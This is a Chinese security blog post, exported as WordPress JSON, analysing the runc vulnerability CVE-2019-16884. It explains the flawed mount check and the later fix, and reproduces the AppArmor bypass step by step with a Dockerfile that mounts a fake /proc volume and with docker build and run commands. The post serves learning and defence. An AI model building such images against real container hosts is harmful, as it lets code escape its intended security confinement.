{"id":424,"date":"2023-03-25T03:13:48","date_gmt":"2023-03-24T19:13:48","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=424"},"modified":"2023-07-04T20:07:35","modified_gmt":"2023-07-04T12:07:35","slug":"cve-2019-16884%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=424","title":{"rendered":"CVE-2019-16884\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2019-16884\u662f\u4e00\u4e2arunc\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u7ed5\u8fc7AppArmor\u5bf9\u4e8e\u8d44\u6e90\u8bbf\u95ee\u7684\u9650\u5236\u3002<\/p>\n<p>\u5728\u5bb9\u5668\u4e2d\uff0cAppArmor\u914d\u7f6e\u662f\u901a\u8fc7\u5c06\u914d\u7f6e\u540d\u79f0\u5199\u5165\/proc\/self\/attr\/exec\u6765\u751f\u6548\u7684[1.1]\uff1a<\/p>\n<pre>\r\nfunc setprocattr(attr, value string) error {\r\n    \/\/ Under AppArmor you can only change your own attr, so use \/proc\/self\/\r\n    \/\/ instead of \/proc\/<tid>\/ like libapparmor does\r\n    path := fmt.Sprintf(\"\/proc\/self\/attr\/%s\", attr)\r\n\r\n    f, err := os.OpenFile(path, os.O_WRONLY, 0)\r\n    if err != nil {\r\n        return err\r\n    }\r\n    defer f.Close()\r\n\r\n    _, err = fmt.Fprintf(f, \"%s\", value)\r\n    return err\r\n}\r\n<\/pre>\n<p>\u4f46\u662f\uff0c\u53ea\u6709\u5728\/proc\u662f\u4e00\u4e2aproc\u6587\u4ef6\u7cfb\u7edf\u7684\u65f6\u5019\uff0cAppArmor\u624d\u4f1a\u751f\u6548\u3002\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6302\u8f7d\u4e00\u4e2a\u666e\u901a\u7684\u6587\u4ef6\u7cfb\u7edf\u5230\/proc\uff0c\u4ece\u800c\u8ba9runc\u4ee5\u4e3a\u5b83\u5411proc\u6587\u4ef6\u7cfb\u7edf\u7684exec\u6587\u4ef6\u5199\u5165\u4e86AppArmor\u914d\u7f6e\u3002\u5728\u6302\u8f7d\u6587\u4ef6\u7cfb\u7edf\u4e4b\u524d\uff0crunc\u4f1a\u5148\u8fdb\u884c\u68c0\u67e5\uff0c\u53ef\u4ee5\u53d1\u73b0\u5b83\u4e0d\u5141\u8bb8\u5728\/proc\u91cc\u9762\u6302\u8f7d\u6587\u4ef6\u7cfb\u7edf\uff0c\u7136\u800c\u5b83\u5374\u6ca1\u6709\u68c0\u67e5\u6302\u8f7d\u5230\/proc\u672c\u8eab\u7684\u60c5\u51b5\uff0c\u4e5f\u5c31\u662f\u8bf4\u6302\u8f7d\u6587\u4ef6\u7cfb\u7edf\u5230\/proc\u4ecd\u7136\u662f\u5141\u8bb8\u7684[1.2]\uff1a<\/p>\n<pre>\r\nfunc checkMountDestination(rootfs, dest string) error {\r\n    invalidDestinations := []string{\r\n        \"\/proc\",\r\n    }\r\n    ......\r\n    for _, invalid := range invalidDestinations {\r\n        path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)\r\n        if err != nil {\r\n            return err\r\n        }\r\n        if path != \".\" && !strings.HasPrefix(path, \"..\") {\r\n            return fmt.Errorf(\"%q cannot be mounted because it is located inside %q\", dest, invalid)\r\n        }\r\n    }\r\n    return nil\r\n}\r\n<\/pre>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nDocker\uff1a19.03.2<br \/>\ncontainerd\uff1a1.2.6<\/p>\n<p>\u5047\u8bbe\u5bbf\u4e3b\u548c\u5bb9\u5668\u5171\u4eab\u67d0\u4e2a\u76ee\u5f55\uff0c\u5bbf\u4e3b\u53ef\u4ee5\u8bfb\u5199\u8be5\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\uff0c\u800c\u5bb9\u5668\u5219\u53ea\u80fd\u8bfb\u53d6\u4e0d\u80fd\u5199\u5165\u3002\u521b\u5efa\u4e00\u4e2aAppArmor\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre>#include &lt;tunables\/global&gt;\r\nprofile testprofile flags=(attach_disconnected,mediate_deleted) {\r\n    #include &lt;abstractions\/base&gt;\r\n    file,\r\n    deny \/vol\/** w,\r\n}\r\n<\/pre>\n<p>\u5176\u4e2d\uff0c\u201cdeny \/vol** w\u201d\u8868\u793a\u4e0d\u5141\u8bb8\/vol\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u5199\u5165\u64cd\u4f5c\u3002\u7136\u540e\u5c06\u8be5\u914d\u7f6e\u6587\u4ef6\u52a0\u8f7d\u5230\u5185\u6838\uff1a<\/p>\n<pre>sudo apparmor_parser -a .\/testprofile\r\n<\/pre>\n<p>\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\uff08\u4f8b\u5982\/home\/abc\/\uff09\u521b\u5efa\u4e00\u4e2avol\u76ee\u5f55\uff0c\u7136\u540e\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff0c\u5c06\u8fd9\u4e2a\u76ee\u5f55\u6302\u8f7d\u5230\u5bb9\u5668\u4e2d\uff1a<\/p>\n<pre>sudo docker run -it --rm --security-opt \"apparmor=testprofile\" -v \/home\/abc\/vol:\/vol ubuntu:bionic-20221215 bash\r\n<\/pre>\n<p>\u5c1d\u8bd5\u5411\/vol\u76ee\u5f55\u521b\u5efa\u6587\u4ef6\uff0c\u53ef\u4ee5\u53d1\u73b0\u6ca1\u6709\u5199\u5165\u7684\u6743\u9650\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-425\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_denied.png\" alt=\"\" width=\"734\" height=\"82\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_denied.png 734w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_denied-300x34.png 300w\" sizes=\"auto, (max-width: 734px) 100vw, 734px\" \/><\/p>\n<p>\u56de\u5230\u5bbf\u4e3b\uff0c\u521b\u5efa\u4e00\u4e2aroot\u76ee\u5f55\uff0c\u6a21\u62df\u5bb9\u5668\u7684\u6839\u76ee\u5f55\uff0c\u5e76\u5728\u5176\u4e2d\u521b\u5efaproc\u76ee\u5f55\uff0c\u6a21\u62df\u5bb9\u5668\u7684procfs\uff1a<\/p>\n<pre>mkdir -p root\/proc\/self\/attr\r\nmkdir root\/proc\/self\/fd\r\ntouch root\/proc\/self\/status\r\ntouch root\/proc\/self\/attr\/exec\r\ntouch root\/proc\/self\/fd\/4\r\ntouch root\/proc\/self\/fd\/5\r\n<\/pre>\n<p>\u521b\u5efa\u4e00\u4e2aDockerfile\uff0c\u5c06\u521a\u521a\u521b\u5efa\u7684root\u76ee\u5f55\u590d\u5236\u5230\u5bb9\u5668\u6839\u76ee\u5f55\uff0c\u5e76\u6302\u8f7d\/proc\u5377\uff1a<\/p>\n<pre>FROM ubuntu:bionic-20221215\r\nADD root \/\r\nVOLUME \/proc\r\n<\/pre>\n<p>\u6784\u5efa\u6076\u610f\u955c\u50cf\uff1a<\/p>\n<pre>sudo docker build -t malimage .\r\n<\/pre>\n<p>\u57fa\u4e8e\u8be5\u955c\u50cf\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff1a<\/p>\n<pre>sudo docker run -it --rm --security-opt \"apparmor=testprofile\" -v \/home\/abc\/vol:\/vol malimage bash\r\n<\/pre>\n<p>\u518d\u6b21\u5c1d\u8bd5\u5411\/vol\u5199\u5165\u6587\u4ef6\uff0c\u8fd9\u6b21\u53ef\u4ee5\u6210\u529f\u5199\u5165\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-426\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_success.png\" alt=\"\" width=\"1272\" height=\"246\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_success.png 1272w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_success-300x58.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_success-1024x198.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/16884_write_success-768x149.png 768w\" sizes=\"auto, (max-width: 1272px) 100vw, 1272px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u5728\u4fee\u590d\u540e\u7684runc\u4e2d\uff0c\u5f53\u6302\u8f7d\u6587\u4ef6\u7cfb\u7edf\u65f6\uff0c\u4f1a\u68c0\u67e5\u6302\u8f7d\u5230\/proc\u76ee\u5f55\u7684\u662f\u4e0d\u662fproc\u6587\u4ef6\u7cfb\u7edf\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u786e\u4fdd\u4e0d\u4f1a\u6709\u5176\u4ed6\u7c7b\u578b\u7684\u6587\u4ef6\u7cfb\u7edf\u6302\u8f7d\u5230\u8fd9\u4e2a\u4f4d\u7f6e\uff0c\u4ece\u800c\u65e0\u6cd5\u6b3a\u9a97runc\u5e76\u7ed5\u8fc7AppArmor[3.1]\uff1a<\/p>\n<pre>\r\nfunc checkProcMount(rootfs, dest, source string) error {\r\n    ......\r\n    if path == \".\" {\r\n        \/\/ an empty source is pasted on restore\r\n        if source == \"\" {\r\n            return nil\r\n        }\r\n        \/\/ only allow a mount on-top of proc if it's source is \"proc\"\r\n        isproc, err := isProc(source)\r\n        if err != nil {\r\n            return err\r\n        }\r\n        \/\/ pass if the mount is happening on top of \/proc and the source of\r\n        \/\/ the mount is a proc filesystem\r\n        if isproc {\r\n            return nil\r\n        }\r\n        return fmt.Errorf(\"%q cannot be mounted because it is not of type proc\", dest)\r\n    }\r\n    return fmt.Errorf(\"%q cannot be mounted because it is inside \/proc\", dest)\r\n}\r\n\r\nfunc isProc(path string) (bool, error) {\r\n    var s unix.Statfs_t\r\n    if err := unix.Statfs(path, &s); err != nil {\r\n        return false, err\r\n    }\r\n    return s.Type == unix.PROC_SUPER_MAGIC, nil\r\n}\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc8\/libcontainer\/apparmor\/apparmor.go#L22\" rel=\"noopener\" target=\"_blank\">https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc8\/libcontainer\/apparmor\/apparmor.go#L22<\/a><br \/>\n[1.2] <a href=\"https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc8\/libcontainer\/rootfs_linux.go#L440\" rel=\"noopener\" target=\"_blank\">https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc8\/libcontainer\/rootfs_linux.go#L440<\/a><br \/>\n[2.1] <a href=\"https:\/\/github.com\/opencontainers\/runc\/issues\/2128\" rel=\"noopener\" target=\"_blank\">https:\/\/github.com\/opencontainers\/runc\/issues\/2128<\/a><br \/>\n[2.2] <a href=\"https:\/\/ssst0n3.github.io\/post\/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8\/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6\/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8\/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8\/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8\/docker\/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0\/linux-security-features\/what-you-can-actually-do\/LSM\/apparmor\/CVE-2019-16884\/CVE-2019-16884%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html\" rel=\"noopener\" target=\"_blank\">https:\/\/ssst0n3.github.io\/post\/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8\/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6\/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8\/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8\/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8\/docker\/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0\/linux-security-features\/what-you-can-actually-do\/LSM\/apparmor\/CVE-2019-16884\/CVE-2019-16884%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html<\/a><br \/>\n[2.3] <a href=\"https:\/\/www.anquanke.com\/post\/id\/265343\" rel=\"noopener\" target=\"_blank\">https:\/\/www.anquanke.com\/post\/id\/265343<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/opencontainers\/runc\/commit\/331692baa7afdf6c186f8667cb0e6362ea0802b3\" rel=\"noopener\" target=\"_blank\">https:\/\/github.com\/opencontainers\/runc\/commit\/331692baa7afdf6c186f8667cb0e6362ea0802b3<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-424","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=424"}],"version-history":[{"count":3,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/424\/revisions"}],"predecessor-version":[{"id":518,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/424\/revisions\/518"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}